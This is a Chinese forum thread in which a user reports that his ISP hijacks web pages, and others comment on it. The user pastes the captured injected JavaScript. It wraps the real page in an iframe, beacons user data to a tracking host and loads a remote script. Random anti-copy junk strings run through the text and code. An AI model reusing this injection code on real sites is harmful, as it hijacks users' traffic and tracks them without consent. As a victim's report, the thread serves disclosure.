上网奇遇记

hudba

上网易看新闻半天打不开，发现状态栏在现实访问一个奇怪的域名。心里一惊，难道电脑中毒了？赶紧查看源代码，发现后面加了一段js，真正的新闻内容给iframe了
* H* n* x/ F; y1 H4 F) N8 U
: m: P2 q# D- x) U' t1 t* E接下来就是去搜索这个域名，得到v2ex里面也有人遇到这个问题，原来是运营商搞的鬼{:soso_e131:}

https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8

http://www.v2ex.com/t/142197

8 H5 l' T* n  m+ G8 v5 t顺便查下ip138：
* z! E* F# h( _5 M3 N2 K
这是那段js里面的代码，好象是个半成品还没写入广告数据：
5 q/ r9 D" G0 Y$ r) q+ ^

1. function locationSearch() {
   ) E( w8 ?3 s4 S2 c8 g8 \) s
2.         var s = getMainJs();
   $ s; b% R9 n7 a: v+ O! R
3.         if (s == null) {
   ; X, h+ b9 N" g, ]7 C$ Z2 |
4.                 location.reload();
   : J2 h8 h8 V3 W% z
5.         }
   
6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
   
7. }
   / \" E9 T0 M  p5 P( n
8. 
   
9. function getParameter(name, paraStr) {
   
10.         var result = "";
    
11.         var str = "&" + paraStr.split("?")[1];
    $ s" n8 l. K6 c, L( h
12.         var paraName = "&" + name + "=";
    
13.         if (str.indexOf(paraName) != -1) {
    6 P" i9 c" G+ C+ g" g' D" V! D
14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    
15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    
16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    
17.                                         1, TmpStr.length).indexOf("&")
    % I1 d; d" l8 ~- N
18.                                         - TmpStr.indexOf(paraName) + 1);
    
19.                 } else {
    % N6 k2 b, y6 j+ L% b1 Y" ~0 F
20.                         result = str.substring(str.indexOf(paraName), str.length);
    ( @4 O& N2 L: [( I
21.                 }
    
22. 
    9 ~3 A2 v) S# X" f2 J+ O. A
23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    
24.         } else {
    
25.                 result = "No such parameter";
    
26.         }
    
27.         return (result.replace("&", ""));
    : X7 N+ p& ]3 Z8 P7 u* S
28. }
    
29. 
    # h( ]% _1 h8 E2 l4 M! H: k
30. function getMainJs() {
    
31.         var scripts = document.getElementsByTagName("script");
    % @; _, ~, w3 U8 l
32.         var s = null;
    8 V1 u/ [$ F$ j! f
33.         for (var i = 0; i < scripts.length; i++) {
    
34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    + @' ^4 w; E' H. v3 u8 Q3 v  e
35.                         s = scripts[i];
    7 |! s* @3 K$ P
36.                         break;
    ) H6 z& }; a2 ?3 o$ b
37.                 }
    
38.         }
    4 c+ H" r- o0 A) W2 \
39.         return s;
    
40. }
    
41. 
    : |5 Z0 }3 Q) q5 U, z
42. function appendParam(oStr, aStr) {
    3 }1 L7 _, A  M# L& X3 |, L2 m
43.         if (oStr.indexOf('?') > 0) {
    ! M8 C2 I! T" X' p
44.                 oStr = oStr + "&" + aStr;
    
45.         } else {
    
46.                 oStr = oStr + "?" + aStr;
    ( F; @/ a  D& m0 Q! |) T# \3 s
47.         }
    
48.         return oStr;
    * Z9 ^  Z) w3 ~7 I0 a! J
49. }
    
50. 
    
51. window.onerror = function() {
    + Q! v( `' C$ E0 u8 _' z
52. };
    6 q2 n" _! C6 L, F- V" S& V& e
53. 
    
54. var g_titleTime = 0;
    
55. function setTcTitle() {
    
56.         if (undefined == document) {
    
57.                 g_titleTime++;
    
58.                 setTimeout("setTcTitle();", 1000);
    2 n7 X1 [+ b3 s) d
59.                 return;
    * }3 V8 Y8 J( K6 Z+ ~0 T
60.         }
    . W7 S: A# Z; ?. _+ K3 _
61. 
    
62.         var doc;
    
63.         try {
    5 i1 o( s& A% m/ I. ^, J
64.                 if (document.all) {
    
65.                         doc = document.frames["cn"].document;
    
66.                 } else {
    1 \1 z8 _" D3 [5 u6 w
67.                         doc = document.getElementById("cn").contentDocument;
    
68.                 }
    
69.         } catch (ex) {
    3 B! k( ~) B. p: @0 ~- h9 ?
70.         }
    
71. 
    0 W/ c7 y, w5 T6 H! _- a& j
72.         if (g_titleTime < 5
    6 B7 G& N+ _  ?# W! s8 ~9 I
73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    ; `- R& W& z- \5 m: Q
74.                 g_titleTime++;
    
75.                 setTimeout("setTcTitle();", 1000);
    
76.                 return;
    
77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    ; G0 @: d  O' M+ M2 {% [& y
78.                 document.title = doc.title;
    7 ]6 M  V3 U* X3 X% a6 S
79.                 setTcAdvVisible();
    
80.         }
    % Z* m( x! C/ [' T% a. t/ C  N
81. }
    
82. 
    
83. setTimeout("setTcTitle();", 1000);
    
84. 
    
85. var g_isHaveVisible = false;
    ) m  a( ?+ d; L  ]0 T
86. function setTcAdvVisible() {
    
87.         if (undefined != document && undefined != document.getElementById("addiv")
    ! M) I6 D0 p' x
88.                         && !g_isHaveVisible) {
    
89.                 document.getElementById("addiv").style.visibility = 'visible';
    
90.                 document.getElementById("addiv").style.display = 'block';
    # X" J* }, d8 p
91.                 g_isHaveVisible = true;
    
92.         }
    
93. }
    6 g5 x& ~0 y# u" q& W
94. 
    8 f$ ]9 i6 a, ~) A" `4 O1 @
95. function UrlAnalyzer() {
    
96.         this.divda = "";
    0 G1 m. z9 L9 l7 e3 y- a
97.         this.tctype = "";
    3 G7 Y! ?4 A7 _& e- ^) C' q
98.         this.radius = "";
    
99.         this.rlu = "";
    $ |% M; ~6 ~% e8 A) L* k! Y
100. }
     
101. 
     2 {, e9 X! y% L9 l
102. UrlAnalyzer.prototype.initParameters = function() {
     
103.         var paraStr = locationSearch();
     
104.         this.rlu = getParameter("lruedct", paraStr);
     0 w) k; d2 I. ?1 b( g! L5 C
105.         this.divda = getParameter("divda", paraStr);
     3 q5 \0 n7 Z6 s9 w4 ], Y6 n
106.         this.radius = getParameter("radius", paraStr);
     
107.         this.tctype = getParameter("tctype", paraStr);
     
108.         this.address = getParameter("address", paraStr);
     0 @! G& w# d6 H0 j
109.         this.usagent = getParameter("usagent", paraStr);
     8 a! Z1 \# [' c
110. }
     . ]* A2 F# \1 X$ T. x
111. 
     + X  w. H  t( Z( q/ N. e% k
112. UrlAnalyzer.prototype.getHtmlDoc = function() {
     ! [7 R2 W1 s9 H$ J
113.         var doc;
     
114.         try {
     
115.                 if (document.all) {
     ' C9 x4 [; w$ F' ^: ?
116.                         doc = document.frames["cn"].document;
     ! ^( Q8 z7 K6 m" S- E9 m# V8 ?
117. 
     
118.                 } else {
     
119.                         doc = document.getElementById("cn").contentDocument;
     
120.                         // doc = document.getElementById("cn").contentWindow.document;
     
121.                 }
     
122.         } catch (ex) {
     
123.         }
     
124.         return doc;
     
125. }
     
126. 
     
127. UrlAnalyzer.prototype.setDomain = function() {
     ) ]0 T' y3 g  }8 s7 c. l
128.         if (undefined != document.title && "" == document.title)
       @. `* x$ W# L  e# p
129.         {
     
130.                 var index = document.domain.indexOf(".");
     1 d/ X. P) l) r7 @* o  X# I1 _, d
131.                 if (undefined != index && -1 != index) {
     
132.                         document.domain = document.domain.substring(index + 1,
     + h/ d8 ]3 ]: x" N3 k; t) k
133.                                         document.domain.length);
     
134.                 }
     
135.                
     : e4 a8 f0 R5 X! _0 H2 o$ }/ S
136.                 var doc = this.getHtmlDoc();
     
137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
     0 o" ~+ P8 d( h2 y1 d! Z
138.                         document.title = doc.title;
     
139.                         setTcAdvVisible();
     # F' k# r1 E. }7 a
140.                 }
     
141.         }
     " L* Z; J6 R4 [$ B" e
142. }
     ! M4 a! P# A+ E% L/ y4 x5 ^# i6 m
143. 
     8 y5 ?. p# z4 O, m8 ^3 l- F
144. UrlAnalyzer.prototype.iframeCallback = function() {
     8 {1 ^& b! l; |4 [1 F" M' P! i& [9 w
145.         var doc = this.getHtmlDoc();
     
146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
     , g) r# {; ~1 a+ ^
147.                 if (undefined != document.domain) {
     * ]( C$ T6 `1 H
148. 
     / s8 u+ [0 Y8 P: T5 S) O5 t
149.                         var self = this;
     
150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
     
151.                         // var index = document.domain.indexOf(".");
     
152.                         // if (undefined != index && -1 != index) {
     2 C* T& X/ J! G
153.                         // document.domain = document.domain.substring(index + 1,
       M2 x' I6 H' y4 |
154.                         // document.domain.length);
     
155.                         // }
     * g) t2 l( w% Y$ d# s5 z8 ]9 A
156.                         //
     - L2 O+ |1 t( f/ P9 Z8 H6 n
157.                         // var doc = this.getHtmlDoc();
     
158.                         // if (undefined != doc && undefined != doc.title && "" !=
     
159.                         // doc.title) {
     
160.                         // document.title = doc.title;
     
161.                         // setTcAdvVisible();
     ; `3 K3 A  z. _# @; l% M
162.                         // }
     6 v; H" ]* ~& Y0 z& B
163.                 }
     * f% o6 v% `6 g. o
164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
     
165.                 document.title = doc.title;
     6 w: W6 S) x2 H+ L
166.                 setTcAdvVisible();
     
167.         }
     1 M) y; n" X; j, f! v$ q# }. J
168. }
     
169. 
     4 s% t7 T5 F+ c+ I
170. UrlAnalyzer.prototype.executeHtmlContext = function() {
     
171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
     2 m) |! u7 r0 q5 d5 C1 [" R
172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
     - e6 V/ }# X, L; m$ |  R- `
173. 
     
174.         var htmlStr = "<iframe src="" + staUrl
     
175.                         + "" style="display:none"></iframe>";
     " R5 q# l4 e/ o
176. 
     
177.         var advUrl = htmlStr
     
178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
     
179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
     ; [0 O, b$ ]" u' }4 K
180.         document.write(advUrl);
     + f* t: P' A; E$ b9 a+ L3 V  j
181. 
     
182.         var self = this;
     
183.         var iframe = document.getElementById("cn");
     ' a: q- {2 h  W. C
184.         if (iframe.attachEvent) {
     
185.                 iframe.attachEvent("onload", function() {
     
186.                         self.iframeCallback.call(self, null);
     , d4 S7 m" \0 U% a
187.                 });
     . n& a! G/ a3 g* u6 ^- p) t3 d- o
188.         } else {
     4 g: Z3 h4 x0 I
189.                 iframe.onload = function() {
     
190.                         self.iframeCallback.call(self, null);
     7 i/ D; T* X  }1 g+ @
191.                 }
     
192.         }
     
193. }
       [7 _2 a3 g/ \
194. 
     
195. UrlAnalyzer.prototype.executeMain = function() {
     5 ]1 q1 b% V% ^& ~! M
196.         var mainFrame = document.getElementById("cn");
     
197.         mainFrame.contentWindow.location.href = mainFrame.src;
     
198.         this.initParameters();
     
199.         this.executeHtmlContext();
     
200. }
     
201. 
     
202. var g_analyzer = new UrlAnalyzer();
     , `# M0 R+ n3 n9 A4 k, y
203. g_analyzer.executeMain();
     " q. c0 }# Y) x: q+ F8 ^& b

复制代码

% r7 N9 R* n+ T
. z: R0 c1 k1 G. `. s& B$ ^. p

ads419

Welcome to China      

cissss

我在想有没有大牛会去干电信那个网页，那就发啦。哈哈

阿百川

所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

firearmer

法制不健全，没法。我这里也有电信绑架的问题，但你没辙，要国外，早赔的只剩内裤了。

老刘

电信DNS劫持不是一天两天了。国家垄断企业，没人能管”。。。

giveatry

我这段时间也遇到了，投诉了两次，这几天没出现了，再出现继续投诉

ads419

阿百川 发表于 2015-2-3 09:49
所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

$ z# x4 R& D; t1 pTCP劫持，换DNS也不管用的。

阿百川

ads419 发表于 2015-2-3 21:26
TCP劫持，换DNS也不管用的。

; c2 C: e  H  G/ q  B0 g幸好联通还木有这么强的技术

哈默

在国内，习惯就好